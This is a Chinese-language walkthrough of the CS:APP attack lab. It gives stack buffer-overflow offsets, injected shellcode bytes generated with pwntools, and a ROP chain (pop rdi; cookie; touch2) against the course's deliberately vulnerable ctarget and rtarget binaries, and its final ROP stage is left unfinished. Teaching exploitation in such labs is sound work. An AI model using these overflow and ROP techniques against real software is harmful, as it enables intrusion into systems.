实验
touch1
结合汇编代码可以确定返回地址距离我们输入的buf距离为0x28,查看Gets函数如下:
char *__fastcall Gets(char *dest) { char *i; int v2;
gets_cnt = 0; for ( i = dest; ; ++i ) { v2 = _IO_getc(infile); if ( v2 == -1 || v2 == 10 ) break; *i = v2; save_char(v2); } *i = 0; save_term(); return dest; }
|
可以输入任意数量的字符
那就好办了,我们使用附件里的hex2raw文件构造输入,再用管道符输入到文件中即可
payload和attack效果如下:
touch2
不看IDA反汇编出来的伪代码了,感觉有点欺负人2333,直接objdump好了
从网上整了个nm配合objdump来反汇编指定函数的jio本
#!/bin/bash
vmlinux=$1 symbol=$2 if [ -z "$vmlinux" ]; then echo "usage : $0 vmlinux symbol" exit fi startaddress=$(nm -n $vmlinux | grep "\w\s$symbol" | awk '{print "0x"$1;exit}') endaddress=$(nm -n $vmlinux | grep -A1 "\w\s$symbol" | awk '{getline; print "0x"$1;exit}') if [ -z "$symbol" ]; then echo "dump all symbol" objdump -d $vmlinux else echo "start-address: $startaddress, end-address: $endaddress" objdump -d $vmlinux --start-address=$startaddress --stop-address=$endaddress fi
|
直接进touch2函数
start-address: 0x00000000004017ec, end-address: 0x000000000040184c
ctarget: file format elf64-x86-64
Disassembly of section .text:
00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 callq 401c8d <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 callq 401d4f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
|
查看两个printf的参数,分别输出如下
那么即我们得让传入的参数和cookie相等,再跳转到touch2
经过调试发现我们rsp的地址是mmap出来的一块具有RWX权限的地址,那么这下就很简单了,直接能够执行代码了属于是,那👴🏻直接写汇编进去,再做一次ret
使用pwntools的命令行工具来生成汇编代码的二进制形式
$ pwn asm 'mov rdi,0x59b997fa; ret' -c amd64 -c little 48c7c7fa97b959c3
|
验证一下
$ pwn disasm 48c7c7fa97b959c3 -c amd64 0: 48 c7 c7 fa 97 b9 59 mov rdi, 0x59b997fa 7: c3 ret
|
这。。。应该是成功了吧,毕竟没有Misfile,不知道下面的FAIL啥意思
touch3
ida反编译出来的hexmatch函数是什么玩意,看的一头雾水,参考了一下wp,发现不同大佬的wp中都直接有源码(从哪搞的。。)
那就是比较字符串是否相同呗,传个地址进入,这个地址需要指向cookie
就多绕了个弯,和touch2差不多
$ pwn asm 'mov rdi,0x5561dcb0;push 0x4018fa;ret' -c amd64 -c little 48c7c7b0dc615568fa184000c3
|
rop2
rop系列栈无法执行,那么就用我们熟悉的rop来搞
首先是touch2(touch1跟之前那个没啥不一样的)
直接ROPgadget一把梭
payload就是pop_rdi_ret + cookie + touch2_address
rop3
卡住了,算偏移的时候算错了QAQ,大体思路采用一个大佬的图片
其中add_xy是farm里自带的函数,在rtarget中含有
总结反馈
- gdb调试带参数文件,set args -q,其中”-q”为参数
- objdump 配合 nm 反汇编出某个指定函数
- pwn asm 命令行工具生成二进制汇编数据,其中-c指定形式,默认linux/i386
- 二进制数据可以用管道符来输入到文件